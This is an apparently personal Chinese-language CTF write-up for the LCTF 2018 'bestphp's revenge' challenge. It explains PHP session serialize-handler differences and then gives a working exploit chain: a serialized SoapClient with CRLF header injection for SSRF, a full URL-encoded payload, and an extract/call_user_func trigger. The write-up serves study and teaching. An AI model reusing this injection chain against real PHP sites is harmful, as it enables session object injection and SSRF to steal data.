彩笔只能复现 :(


知识点

  1. 首先看看 phpSESSION 默认是怎么存储的:
    1
    2
    3
    4
    5
    <?php
    session_start();
    $_SESSION['a']='1';
    $_SESSION['b']='1';
    ?>

打开 session 文件:

a|s:1:”1”;b|s:1:”1”;

但是 php 还有另一种存储方式(不跟你说你还不知道吧~):
http://php.net/manual/zh/session.configuration.php#ini.session.serialize-handler

另一种存储方式叫:php_serialize,默认的叫什么?叫:php

设置有三种方法:

1
2
3
1. 在 php.ini 中修改这一行: session.serialize_handler = php
2. ini_set('session.serialize_handler', 'php_serialize');
3. session_start(array("serialize_handler"=>"php_serialize"));

第三种方法是 php7 加上的:
1

注意是 7 才加上的!!!其他的 seesion 参数应该也能改。

好了好了,来看看 php_serialize 是怎么存储 SESSION 数据的:

1
2
3
4
5
<?php
session_start(array("serialize_handler"=>"php_serialize"));
$_SESSION['a']='1';
$_SESSION['b']='1';
?>

a:2:{s:1:”a”;s:1:”1”;s:1:”b”;s:1:”1”;}

没错,用过 serialize 函数的都看得出来这直接用了这个函数序列化的(刚刚给的文档里也有说。。。)

接下来再详细点,我们看看 php 模式是怎么存储对象的:

1
2
3
4
5
6
7
8
9
10
11
<?php
class Test{
public $test_variable = "niubi";
public function __destruct(){
echo $this->test_variable;
}
}
session_start();
$_SESSION['a']='1';
$_SESSION['b']=new Test();
?>

a|s:1:”1”;b|O:4:”Test”:1:{s:13:”test_variable”;s:5:”niubi”;}

php_serialize 呢?

a:2:{s:1:”a”;s:1:”1”;s:1:”b”;O:4:”Test”:1:{s:13:”test_variable”;s:5:”niubi”;}}

可以发现这里也有共同点:O:4:"Test":1:{s:13:"test_variable";s:5:"niubi";}(不信就按 ctrl+f 看看)

来一个有意思的例子:

(此处建议先清空 SESSION 或者干脆直接删掉 SESSION 文件也可以)

1
2
3
4
5
6
7
8
9
10
11
//a.php
<?php
class Test{
public $test_variable = "niubi";
public function __destruct(){
echo $this->test_variable;
}
}
session_start(array("serialize_handler"=>"php_serialize"));
$_SESSION['a']='a|s:1:"b";c|O:4:"Test":1:{s:13:"test_variable";s:5:"niubi";}';
?>
1
2
3
4
5
6
7
8
9
10
11
//b.php
<?php
class Test{
public $test_variable = "niubi";
public function __destruct(){
echo $this->test_variable;
}
}
session_start();
var_dump($_SESSION);
?>

是的,这两个 php 文件用了不同的序列化方式。
先访问 a.php ,此时 SESSION 文件应该是:

a:1:{s:1:”a”;s:60:”a|O:4:”Test”:1:{s:13:”test_variable”;s:5:”niubi”;}

分析一下此时访问 b.php 会怎么解析呢:

c 为 第个键,Test 对象为值。(这里其实还会执行 test 对象的 __destruct 函数)

访问一下 b.php

2

bingo~

回到正题。。。。

没错,正题是题目,别忘了这是个题目分析的文章。。。

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
//index.php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//flag.php
<?php
highlight_file(__FILE__);
$b = 'implode';
$_GET['f']="session_start";
$_POST['serialize_handler']='php_serialize';
call_user_func($_GET['f'],$_POST);
session_start();
if(isset($_GET['name'])){
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

没错,这是到 SSRF,怎么 SSRF 暂且不提。

先想想怎么利用:

  1. flag.php 可以看出把 flag 放到 SESSION 里了。
  2. PHP 里有个内置类可以访问 Web

我前面都铺垫了这么长了,所以这么玩:

通过 session 处理的差异反序列化 某个类 访问 flag.php

利用

那么某个类是哪个类:SOAP

SOAP 是什么。。怎么操作我就不详细解释了(我也不会)

飘零师傅会: https://www.anquanke.com/post/id/153065#h2-5

这里给出利用代码:

1
2
3
4
5
6
7
8
9
10
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array(
'location' => $target,
'user_agent'=>"niuniu^^Cookie: PHPSESSID=s5ndonmikgkcif6q28k0aptnf0^^Content-Type: text/html;charset=UTF-8^^^^",
'uri' => "/"
));
$attack = str_replace('^^',"\n\r",serialize($attack));
$payload = urlencode($attack);
echo $payload;

这里注意 str_replace 中使用的是 \n\r 而不是 \r\n
输出出来的便是 payload

1. 开启 php_serialize 模式

回顾一下题目的代码注意这一行:

1
call_user_func($_GET[f],$_POST);

我们将 f 设置为 session_start.
$_POST 是个天然的数组,所以 POST 数据为:

1
serialize_handler=php_serialize

可以在代码的最前面添加上:

1
2
$_GET['f']="session_start";
$_POST['serialize_handler']='php_serialize';

这样就相当于 GETPOST 传值了 (我没有 hackbar ,不想 POST 传啊)

2.

再看看这三行:

1
2
3
if(isset($_GET['name'])){
$_SESSION['name'] = $_GET['name'];
}

这不就是直接帮我们写进 SESSION 文件吗?
测试中发现 $_GET[‘name’] 不能写在代码中,所以还是老老实实的写在 url 里吧(在测试中遇到了个很奇怪的问题。。。)

所以最后参数分别是:

1
2
3
$_GET['f'] = 'session_start';
$_POST['serialize_handler']='php_serialize';
$_GET['name'] = '|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A1%3A%22%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A95%3A%22niuniu%0A%0DCookie%3A+PHPSESSID%3Ds5ndonmikgkcif6q28k0aptnf0%0A%0DContent-Type%3A+text%2Fhtml%3Bcharset%3DUTF-8%0A%0D%0A%0D%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D'; // name 用 `url` 传递

我们可以新开个文件并访问:

1
2
3
4
<?php
session_start();
var_dump($_SESSION);
?>

会发现已经有我们的 SOAP 对象了。

接下来使用再调用一下对象就可以了,第二次调用的参数就是:

1
2
$_GET['f'] = 'extract';
$_POST['b']='call_user_func';

就可以了。 f 的目的在于 将 b 覆盖成 call_user_func,在最后的:

call_user_func($b,$a);

就会执行 SOAP 了。

##结语

写到最后心态崩了。。前面分析 php 序列化还比较满意,写到 CTF 题时遇到了很多问题也没写好。。。所以还不如直接看参考中的 WP。

参考:

https://xz.aliyun.com/t/3336#toc-3(这题的 WP)
https://github.com/CTFTraining/lctf_2018_bestphp_s_revenge/tree/master/files/src(这里有源码)